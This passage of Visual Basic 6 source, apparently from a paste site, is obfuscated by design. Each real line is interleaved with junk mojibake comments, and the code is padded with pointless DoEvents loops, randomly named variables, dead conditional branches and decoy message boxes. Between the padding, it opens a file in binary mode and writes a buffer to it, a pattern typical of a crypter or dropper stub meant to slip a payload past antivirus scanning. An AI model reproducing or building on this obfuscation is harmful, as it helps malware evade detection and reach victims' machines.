  1162. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1163. For HPOsHlCC = 0 To 6
  1164. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1165. DoEvents
  1166. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1167. Next HPOsHlCC
  1168. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1169. EXnPmWgm = 9
  1170. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1171. Do While EXnPmWgm < 92
  1172. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1173. Dim QfyAiRnE As Integer
  1174. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1175. For QfyAiRnE = 0 To 6
  1176. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1177. DoEvents
  1178. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1179. Next QfyAiRnE
  1180. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1181. DoEvents: EXnPmWgm = EXnPmWgm + 1
  1182. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1183. Dim hHPpXzWo As Integer
  1184. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1185. For hHPpXzWo = 0 To 7
  1186. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1187. DoEvents
  1188. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1189. Next hHPpXzWo
  1190. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1191. Loop
  1192. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1193.  
  1194. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1195. Dim CXyPyfJT As Integer
  1196. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1197. For CXyPyfJT = 0 To 4
  1198. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1199. DoEvents
  1200. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1201. Next CXyPyfJT
  1202. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1203.    RVDHCWIGIMP = FreeFile
  1204. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1205.  
  1206. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1207.    Open DNZWAGZEAAU For Binary As #RVDHCWIGIMP
  1208. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1209. If 131918 = 131918 + 1 Then End
  1210. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1211. If 1444 < 76 Then
  1212. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1213.  
  1214. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1215. Dim ucirkLBb As Integer
  1216. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1217. Dim YCzCsjvd As Integer
  1218. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1219. For YCzCsjvd = 0 To 5
  1220. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1221. DoEvents
  1222. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1223. Next YCzCsjvd
  1224. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1225. ucirkLBb = 5
  1226. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1227. Do While ucirkLBb < 95
  1228. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1229. Dim dthCNHRy As Integer
  1230. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1231. For dthCNHRy = 0 To 1
  1232. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1233. DoEvents
  1234. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1235. Next dthCNHRy
  1236. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1237. DoEvents: ucirkLBb = ucirkLBb + 1
  1238. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1239. Dim YKmZbcjW As Integer
  1240. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1241. For YKmZbcjW = 0 To 1
  1242. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1243. DoEvents
  1244. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1245. Next YKmZbcjW
  1246. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1247. Loop
  1248. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1249.  
  1250. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1251. Dim efyYnZAF As Integer
  1252. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1253. For efyYnZAF = 0 To 5
  1254. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1255. DoEvents
  1256. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1257. Next efyYnZAF
  1258. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1259.        MsgBox ("wYBhWmuS51")
  1260. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1261. End If
  1262. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1263. If Len("mMglnwdN8491") = Len("TlhFAqyc") Then
  1264. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1265.  
  1266. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1267. Dim DDSSufTg As Integer
  1268. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1269. Dim SoACJPPl As Integer
  1270. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1271. For SoACJPPl = 0 To 6
  1272. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1273. DoEvents
  1274. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1275. Next SoACJPPl
  1276. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1277. DDSSufTg = 2
  1278. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1279. Do While DDSSufTg < 29
  1280. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1281. Dim BFHHeEnT As Integer
  1282. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1283. For BFHHeEnT = 0 To 1
  1284. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1285. DoEvents
  1286. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1287. Next BFHHeEnT
  1288. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1289. DoEvents: DDSSufTg = DDSSufTg + 1
  1290. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1291. Dim BOqfWcAn As Integer
  1292. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1293. For BOqfWcAn = 0 To 2
  1294. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1295. DoEvents
  1296. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1297. Next BOqfWcAn
  1298. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1299. Loop
  1300. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1301.  
  1302. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1303. Dim kyEjjwoq As Integer
  1304. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1305. For kyEjjwoq = 0 To 5
  1306. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1307. DoEvents
  1308. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1309. Next kyEjjwoq
  1310. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1311.       MsgBox ("Error !!!")
  1312. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1313. End If
  1314. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1315.  
  1316. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1317. Dim DFOVhshx As Integer
  1318. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1319. Dim QFaAeoFU As Integer
  1320. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1321. For QFaAeoFU = 0 To 2
  1322. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1323. DoEvents
  1324. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1325. Next QFaAeoFU
  1326. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1327. DFOVhshx = 2
  1328. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1329. Do While DFOVhshx < 21
  1330. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1331. Dim CmdZHvjP As Integer
  1332. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1333. For CmdZHvjP = 0 To 4
  1334. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1335. DoEvents
  1336. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1337. Next CmdZHvjP
  1338. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1339. DoEvents: DFOVhshx = DFOVhshx + 1
  1340. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1341. Dim hdCFilVC As Integer
  1342. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1343. For hdCFilVC = 0 To 2
  1344. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1345. DoEvents
  1346. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1347. Next hdCFilVC
  1348. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1349. Loop
  1350. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1351.  
  1352. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1353. Dim FxZloKFI As Integer
  1354. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1355. For FxZloKFI = 0 To 6
  1356. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1357. DoEvents
  1358. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1359. Next FxZloKFI
  1360. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1361.    Put #RVDHCWIGIMP, , ZEFGKWXQJQF
  1362. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1363.  
  1364. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1365. If 811923 = 811923 + 1 Then End
  1366. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1367. If 8778 < 22 Then
  1368. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1369.  
  1370. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1371. Dim CErlisbo As Integer
  1372. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1373. Dim xvvYkbkj As Integer
  1374. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1375. For xvvYkbkj = 0 To 3
  1376. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1377. DoEvents
  1378. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1379. Next xvvYkbkj
  1380. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1381. CErlisbo = 4
  1382. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1383. Do While CErlisbo < 48
  1384. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1385. Dim UfMWGfPh As Integer
  1386. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1387. For UfMWGfPh = 0 To 5
  1388. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1389. DoEvents
  1390. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1391. Next UfMWGfPh
  1392. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1393. DoEvents: CErlisbo = CErlisbo + 1
  1394. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1395. Dim dTkokHEo As Integer
  1396. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1397. For dTkokHEo = 0 To 5
  1398. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1399. DoEvents
  1400. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1401. Next dTkokHEo
  1402. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1403. Loop
  1404. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1405.  
  1406. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1407. Dim FvloXqMG As Integer
  1408. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1409. For FvloXqMG = 0 To 3
  1410. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1411. DoEvents
  1412. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1413. Next FvloXqMG
  1414. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1415.        MsgBox ("EiWYpgQD65")
  1416. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1417. End If
  1418. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1419. If Len("shIKUYsH6845") = Len("HETYlzLW") Then
  1420. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1421.  
  1422. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1423. Dim TTXNKbOS As Integer
  1424. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1425. Dim YkwVDesB As Integer
  1426. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1427. For YkwVDesB = 0 To 5
  1428. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1429. DoEvents
  1430. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1431. Next YkwVDesB
  1432. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1433. TTXNKbOS = 1
  1434. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1435. Do While TTXNKbOS < 46
  1436. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1437. Dim YllpCaXu As Integer
